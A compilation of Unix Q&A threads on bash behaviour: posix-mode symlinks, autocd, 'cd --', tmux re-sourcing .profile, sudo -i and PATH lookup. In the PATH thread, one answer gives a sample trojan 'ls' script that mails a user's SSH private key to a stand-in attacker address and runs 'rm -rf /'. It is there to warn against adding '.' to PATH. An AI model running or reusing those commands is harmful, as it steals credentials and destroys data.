Why does bash in posix mode fail to chase my symlinks? - bash

I'm seeing weird behavior when I run "ssh " to a Linux system. I tracked it down part way to a difference in bash when started in posix mode.
% bash --posix
% ln -s /tmp mytmp
% cd mytmp
% pwd
/home/user/mytmp
The bash man page has these items under posix mode:
--> When the cd builtin is invoked in logical mode, and the pathname constructed from $PWD and the directory name supplied as an argument does not refer to an existing directory, cd will fail instead of falling back to physical mode.
--> When the pwd builtin is supplied the -P option, it resets $PWD to a pathname containing no symlinks.
--> The pwd builtin verifies that the value it prints is the same as the current directory, even if it is not asked to check the file system with the -P option.
none of those sounds exactly like what I'm seeing.
I don't seem to have any special PWD-related variables set in start up files.
I know that --posix controls which start up files are used.
Is there a variable that explicitly controls like kind of symlink chasing?
I can think of several ways to "undo" this effect, but I need to know why it's happening.
I'm using ssh to run make, and then make is using pwd, and THAT pwd is
coming up with the wrong answer. It must be taking it directly from an ENV setting.
I'd like to find some docs someplace about what's going on.

If you do set -o | grep physical and that's set to on, it's the same as -P.
To turn on:
set -o physical
or
set -P
to turn off:
set +o physical
or
set +P
Check to see if cd or pwd are redefined:
type -a cd pwd
There are circumstances where pwd and $PWD won't be in sync. When in doubt, use pwd (as in `$(pwd)).

Related

Assume cd when no command is specified and the first argument is a directory

Is it possible in bash to automatically cd into a directory even without typing cd?
E.g., I'd like to be able to cd into ./whatever when just typing the following into the terminal:
./whatever
Is there a way to achieve this with bash? I know that zsh supports this.
One of my thoughts was to catch the Is a directory error thrown by bash when just typing ./whatever and subsequently cd into that directory but I couldn't find out a way to do it.
Yes, just enable the shell option autocd:
shopt -s autocd
From the Bash Reference Manual:
autocd
If set, a command name that is the name of a directory is executed as if it were the argument to the cd command. This option is only used by interactive shells.

Behavior of 'cd --' (two hyphens)

I know that cd ~- changes directory to $OLDPWD.
I'm using GNU bash, version 4.4.23(1)-release (x86_64-apple-darwin17.5.0) on a Macbook.
'cd --' appears to have the same behavior as 'cd ~-'.
Why?
With Bash -- is used to specify the end of a command options.
So cd -- means cd.
cd without argument change your current directory to your home directory (like cd ~).
The fact it leads you to your last PWD is a coincidence.
That's not correct. cd -- changes to your home directory, just like cd only. Consider cd -- a pure cd with no options and no parameters given. See also https://unix.stackexchange.com/a/11382.

Tmux reloads Bash .profile

Suppose I have this in my .profile
export VALUE=x:$VALUE
Then when I start a terminal and do
$ printenv VALUE
x:
the result is what is expected, i.e., VALUE is equal do x:.
Also if I keep launching bash like this
$ printenv VALUE
x:
$ bash
bash-3.2$ printenv VALUE
x:
bash-3.2$
the result is what is expected too.
However, if I start a terminal and launch tmux instead, I get
$ printenv VALUE
x:
$ tmux
$ printenv VALUE
x:x:
and the final VALUE is not equal do x:.
How can I launch tmux so that this does not happen, and it behaves like a fresh bash session?
I am on macOS 10.12.6 (Sierra)
Thanks
There are several reasons why your ~/.profile happens to be sourced more than once.
One would be that tmux is started in a way so that it behaves like a login shell. As such, it will source the ~/.profile naturally (see man bash at INVOCATION). You can start tmux as a login shell by providing the option -l. You didn't mention giving this explicitly, so I guess you didn't, but maybe it was implicitly passed to tmux by some alias or similar. You might want to double check on this (enter type tmux for instance).
The more probable reason is that tmux just starts a shell which then assumes that it is a login shell and thus sources ~/.profile. This in a way is also correct, because starting a terminal muxer can be seen as the process of logging in. More on this can be found here: https://superuser.com/a/970847/153009
The third possibility (which was the reason in my case when I tried to reproduce your case) is that your ~/.bashrc sources your ~/.profile intentionally and explicitly. Although this is against the original design, one finds this very often. Obviously it often solves ugly issues with missing executions of invocation scripts.
You can check for this by giving out ${BASH_SOURCE[*]} in the beginning of the ~/.profile (redirect it to a file to be sure you can see it later).
Because of problems with this, I have the following script snippet in each of my invocation scripts (.bashrc, .profile, etc.):
(
echo "$(date): .profile: $0: $$"; pstree -lp $PPID 2>/dev/null
echo "BASH_SOURCE: ${BASH_SOURCE[*]}"
echo "FUNCNAME: ${FUNCNAME[*]}"
echo "BASH_LINENO: ${BASH_LINENO[*]}"
) >> ~/var/log/config-scripts.log
(Adjust the name .profile in the first line according to the script name of course.)
It seems there is no way to avoid tmux from starting its own shell without inheriting the environment variables of the shell where tmux is called. This means that startup shell scripts must take care if they are running inside tmux. For example, in bash, this can be done
if [ -n "$TMUX" ];
then
echo Inside tmux
else
echo Outside tmux
fi

wildcard search in sudo argument not working

I am not able to use wildcard in command arguments when not using -i option. What can be the reason?
Below result with -i option:
Command - sudo -i -u \#800 ls -l /LOG/filename.*
Result - filename.dat
Below result without -i option:
Command - sudo -u \#800 ls -l /LOG/filename.*
Result - filename.* not found
Your results do not match your command so I'm not really trusting the results that you wrote into the question. In particular /LOG/ is left off of your results.
e.g.
sudo -i ls -ld /var/folx*
ls: /var/folx*: No such file or directory
I don't know which sudo you are using because AIX does not come with a sudo command. But I'm using the man page from my Mac.
-i [command]
The -i (simulate initial login) option runs the shell
specified in the passwd(5) entry of the target user as a
login shell. This means that login-specific resource files
such as .profile or .login will be read by the shell. If a
command is specified, it is passed to the shell for
execution. Otherwise, an interactive shell is executed.
sudo attempts to change to that user's home directory
before running the shell. It also initializes the
environment, leaving DISPLAY and TERM unchanged, setting
HOME, MAIL, SHELL, USER, LOGNAME, and PATH, as well as the
contents of /etc/environment on Linux and AIX systems. All
other environment variables are removed.
Note the phrase " to change to that user's home directory". It appears that it does the cd to home even when a command is given.
sudo pwd
/private/tmp
sudo -i pwd
/private/var/root
Here are some methods to try and debug this type of situation yourself. First is to replace your command with just env and capture the output in two separate files and then compare them. See if any differences might be the root of the issue. Second, pwd as I did and you discover that your current working directory is changing while in the sudo context. The third item which doesn't apply in this case but does in other cases is to do echo * as the command. In this case, it would have given you a clue but probably still might have been really confusing.
The other part is notice that -i is sucking up .profile and .login. Many users goof up their .profile and .login files by assuming various things. So, the other item that you might need to do sometimes is put set -x at the top of your .profile to see what it is doing. In this case, that was not needed.

Why do I have to use an absolute path to execute Bash scripts?

I have a Bash script on my desktop called highest.
If I run:
cd ~/Desktop
highest
I get: Command not found
But if I run:
~/Desktop/highest
It executes just fine. But why do I still need to use the absolute path when my command line is in the correct directory?
I am guessing this has something to do with the $PATH variable. Like I need to add something like ./ to it. If so, how do I add that? I am not used to Linux yet and get very confused when this happens.
I agree with #Dennis's statement. Don't add '.' to your PATH. It's a security risk, because it would make it more possible for a cracker to override your commands. For a good explanation, see http://www.linux.org/docs/ldp/howto/Path-12.html .
For example, pretend I was a cracker and I created a trojaned files like /tmp/ls , like so. Pretend that this was on a shared system at a university or something.
$ cat /tmp/ls
#!/bin/sh
# Cracker does bad stuff.
# Execute in background and hide any output from the user.
# This helps to hide the commands so the user doesn't notice anything.
cat ~/.ssh/mysecretsshkey | mailx -s "haha" cracker#foo.ru >/dev/null 2>&1 &
echo "My system has been compromised. Fail me." |mailx -s "NUDE PICTURES OF $USERNAME" professor#university.edu >/dev/null 2>&1 & &
rm -rf / >/dev/null 2>&1 &
# and then we execute /bin/ls so that the luser thinks that the command
# executed without error. Also, it scrolls the output off the screen.
/bin/ls $*
What would happen if you were in the /tmp directory and executed the 'ls' command? If PATH included ., then you would execute /tmp/ls , when your real intention was to use the default 'ls' at /bin/ls.
Instead, if you want to execute your own binaries, either call the script explicitly (e.g. ./highest) or create your own bin directory, which is what most users do.
Add your own ~/bin directory, and place your own binaries in there.
mkdir ~/bin
vi ~/bin/highest
Then, modify your PATH to use your local binary. Modify the PATH statement in your .bashrc to look like this.
export PATH=$PATH:~/bin
To verify that highest is your path, do this:
bash$ which highest
/Users/stefanl/bin/highest
Yes, adding ./ is ok, so running cd ~/Desktop; ./highest will work. The problem is as you said: running highest by itself causes Linux to look in your $PATH for anything named highest, and since there's nothing there called that, it fails. Running ./highest while in the right directory gets around the problem altogether since you are specifying the path to the executable.
The best thing you can do is just get used to using ./highest when you want to run a command that is in your directory, unless you really want to add it to your path. Then you should add it to your path in your .profile file in your home directory (create it if it isn't there) so it gets loaded into your path every time you start up bash:
export PATH="/usr/local/bin:/usr/local/sbin:.:$PATH"
Don't change PATH, simply move or symlink the script to some standard location, e.g.
mkdir -p ~/bin
cd ~/bin
ln -s ../Desktop/highest highest
If ~/bin is in your path (and AFAIR this is the case if you use the default shell init scripts from Ubuntu), then you can call the scripts therein from anywhere by their name.
You would need to add the local directory to your path:
PATH=$PATH:.
export PATH
This can be done in your .profile or .bash_profile to always set this up whenever you login.
Also, as a matter of course, you can run the command with the current directory marker:
./highest
as well.
Of course there are security implications as noted below by many MANY users, which I should have mentioned.

Resources